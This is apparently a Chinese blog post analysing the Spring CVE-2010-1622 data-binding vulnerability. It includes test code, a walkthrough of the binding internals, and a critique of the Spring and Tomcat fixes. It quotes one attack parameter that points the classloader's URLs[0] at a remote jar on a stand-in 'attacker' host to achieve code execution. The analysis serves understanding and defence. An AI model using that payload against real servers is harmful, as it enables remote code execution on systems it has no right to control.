Spring-Cve-2010-1622漏洞分析
什么是Cve-2010-1622?
Spring漏洞，官方发布的漏洞http://www.springsource.com/security/cve-2010-1622
一些参考的分析文章：
文章一：http://blog.o0o.nu/2010/06/cve-2010-1622.html
文章二：http://www.inbreak.net/archives/377
分析：
笔者先看了下Spring官方的漏洞说明，这里描述确实不清楚，具体怎么修复的也没有提到。
然后又先后看了后面2篇文章，都颇具几分道理，但发觉心中的疑惑还是不解。这里先给大家概括下后面2篇分析文章：
文章一提到Java bean的API Introspector. getBeanInfo 会获取到该POJO的基类Object.class的属性class,进一步可以获取到Class.class的诸多属性，包括classloader。classLoader中有个属性叫URLs[0]. 另外Spring提供了可以从页面的表单直接绑定到后台bean的属性的机制，所以有一种可能就是可以从前台提交参数 ：
class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/
经过Spring绑定URLs[0]到classloader后，刚好Jasper's TldLocationsCache 会从WebappClassLoader里面读取url参数并用来解析TLD文件。如果spring-exploit.jar里面包含修改后的spring-form.tld，黑客的目的就达到了，可以这里面引用的tag文件里做一些远程代码执行的事。
文章二提到的拒绝访问中提到可以修改class.classLoader.delegate属性，来达到目地，实际上没人会把catalina.jar放入/WEB-INF/lib/，这种本身就是有问题的，网上的所谓设置delegate为true的解决办法本身就是一种以错治错的方法，所以这种攻击对于正常的tomcat部署是不会发生的。
文章二提到的远程代码执行和文章一差不多，都是通过spring的自动绑定前台form的表单字段到后台的bean的属性，但是关于哪些属性可以绑定这块不太对，比如提到class和classloader都可以绑，其实是有问题的。
笔者分析完这两篇文章后，存在如下几个疑惑：
1. 怎样的属性可以被spring自动绑定？是不是需要包含getter和setter方法的属性呢。因为出于安全考虑，这个是标准的做法。
2. Object的class属性, Class的classLoader属性其实都是不存在的，只存在getter方法。对应的属性是通过native获取的。 ClassLoader的URLs[0]属性其实也只有getter方法，这个属性是怎么绑定进去的？
3. Spring官方中提到3.0.3中已经修复该bug，修复的方法是？
4. Spring在什么时候调用Java bean的API Introspector. getBeanInfo，以及怎样去实现自动绑定的？
为此，笔者准备了一个测试例子：
后台bean类：
package com.bingbing;
public class UserInfo {
/***
* id ，包含get和set方法
*/
private String id ;
/**
* number,只有set方法
*/
private String number ;
/**
* info对象，模拟Class对象,里面的idnumber模拟classloader对象。这样做是因为classloader对象已经被spring过滤调了，后面会有解析
* 只有get方法
*/
private StudentInfo studentInfo =new StudentInfo();
/**
* 数组对象，模拟URL[]
* 只有get方法
*/
private String names[] = new String[]{"1"};
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getNumber() {
return number;
}
public StudentInfo getStudentInfo() {
return studentInfo;
}
public String[] getNames() {
return names;
}
}
StudentInfo只有一个属性idnumber，且含有get,set方法，这里就不贴代码了。
处理的controller类：
package com.bingbing;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class ExpTest {
@RequestMapping(value = "expTest.xhtml")
public void test(UserInfo info)
{
System.out.println("id:"+ info.getId());
System.out.println("number:"+ info.getNumber());
System.out.println("class:"+ info.getClass());
System.out.println("idnumber:"+ info.getStudentInfo().getIdnumber());
System.out.println("names[0]:"+ info.getNames()[0]);
System.out.println("classLoader:"+ info.getClass().getClassLoader());
}
}
然后触发如下请求：
测试结果如下：
id:111
number:null
class:class com.bingbing.UserInfo
idnumber:777
names[0]:33333
classLoader:WebappClassLoader
咱们来分析一下：
Id属性因为有get和set方法，能够绑定成功无可非议。
Number属性因为没有set方法，没有设置成功，实属正常，符合我们最初的想法。
Class属性也没有设置成功,也属正常，因为class只有get方法，没有set方法。
classLoader属性也没有设置成功，和class属性类似，没有set方法，所以文章二中提到的可以给class和classloader赋值是不准确的。
Idnumber赋值成功，有点奇怪了，因为studentInfo对象只有get方法，他里面的属性却给赋值了。这也是漏洞中为什么classloader中的URL[0]可以赋值的一个原因。
names[0]赋值成功，很奇怪！names[0]是只有get方法的，却赋值成功了，相对于number字段，这里是不是有点字段歧视的味道！
第一个疑惑解了，再往后看。后面的疑惑只要我们弄清楚spring的自动绑定机制就可以整清楚来弄去脉了。
有什么方法可以最快弄清楚里面怎么实现的呢，Debug!
先来第一张图：
从这里就可以看出绑定的调用流程，通过解析请求参数，到绑定参数，然后到了BeanWrapperImpl的父类AbstractPropertyAccessor的setPropertyValue方法中。
在开始绑定之前，咱们看一下请求参数对了没：
再往里面看具体的绑定：
首先从CachedIntrospectionResults中获取PropertyDescriptor ，再看看CachedIntrospectionResults怎么来的：
【注：上面的this.object是调用getProperty获取的，也就是字段的get方法。这个this.object会设置到CachedIntrospectionResults中. 也就是如果this.object是子对象的话，比如studentInfo.idnumber这样的参数，当解析studentInfo时，会把get方法返回的实例传进去，其实内部只是用到了这个返回值的类型，以解析该类字段的属性。这也是为什么Idnumber能够赋值成功的原因。
】
这里就是文章二作者提到的 Introspector. getBeanInfo 方法了，检查了下beaninfo的值，里面确实把Object.class的属性都查出来了，这些属性甚至不需要具体的属性字段，只需要一个get方法即可。比如通过getClass方法就可以查出来class这个属性。
好了，知道属性从哪里来的了，再看看那个判断：
这里大家发现如果没有这个属性或者对应的属性的write方法不存在，这个属性就不会赋值。到这里我们的理解还是对的，只有set方法才会自动绑定。这就是说class和classloader属性是不会自动绑定的。
那names[0]是怎么赋值成功的呢？
原来spring对array有特殊的处理：
在发现字段属性是数组的时候，准确来说，是发现get方法返回值是数组的时候，就认为是数组类型的字段，大家从上面的截图也可以看出，writeMethod确实为空的。但是，后面的处理就比较怪异了，调用了Array.set(propValue, arrayIndex, convertedValue); 方法，这个方法就直接把get方法返回那个数组对象改了，直接绕过了set方法这个处理。
顺便还看了这个方法的后面处理代码，：
else if (propValue instanceof List) {
PropertyDescriptor pd = getCachedIntrospectionResults().getPropertyDescriptor(actualName);
list.add(convertedValue);
}
}
else if (propValue instanceof Map) {
map.put(convertedMapKey, convertedMapValue);
｝
也就是说对于Array,List,Map类型的字段，是不需要set方法的，只需要一个get方法就可以自动赋值。这个功能是很强大，但这会不会根本不是开发人员的本意呢！其实这也是远程代码执行的根本原因，也是黑客可以利用的漏洞。
咱们再来看看Spring3.0.3对之的修复方法：
类CachedIntrospectionResults：
也就是说在利用Introspector. getBeanInfo获取到属性后，过滤掉classloader属性。个人感觉这个修复不专业，相当于只修复了问题的表面，没有修复根本。如果class的其他的某个属性里面有类似的数组，列表和map的字段，刚好这些字段又可以被利用的话，会不会又是另外一个漏洞的产生呢？
Tomcat对此也有修复，其中文章二也提到了：
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h
居然在tomcat6.0.28之后的版本，把
public URL[] getURLs() {
if (repositoryURLs != null) {
return repositoryURLs;
}
改为了
public URL[] getURLs() {
if (repositoryURLs != null) {
return repositoryURLs.clone();
}
还美其名曰：
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.
Tomcat这个修复也挺有意思的。估计是tomcat的作者意识到repositoryURLs这个字段被spring改了后，出现这个漏洞，觉得自己也脱不了干系，算了，得想个办法不让你spring改，怎么办呢？我给你spring一个拷贝的版本，够绝吧，spring拿了个山寨的版本，改了也没用，我tomcat还是照旧用我自己真正的这个repositoryURLs。
总的说来，这个bug的产生一方面说明spring的自动绑定功能确实很强大，但也说明了其可以利用的漏洞。虽然spring和tomcat都相继发布修复办法，但个人感觉还是没有“治根治本”。
Spring可以考虑修改CachedIntrospectionResults类，使用Introspector的
BeanInfo getBeanInfo(Class beanClass, Class stopClass)方法指定stopclass为Object.Class，这样可以让Object类里面的属性不再暴露出来，提高了安全性。从Spring框架上来说，Object的这些东西是不让业务修改的。
当然，如果Spring重新审视一下为什么需要把Array,List,map的绑定绕过set的限制，因为不管是业务类还是JDK相关的类，可以让外面修改的都会提供set方法或者接口，如果没有可以设置的接口，这种”走后门”的设置方法还是很不安全的。如果能够不绕过这个限制，那就真的安全了。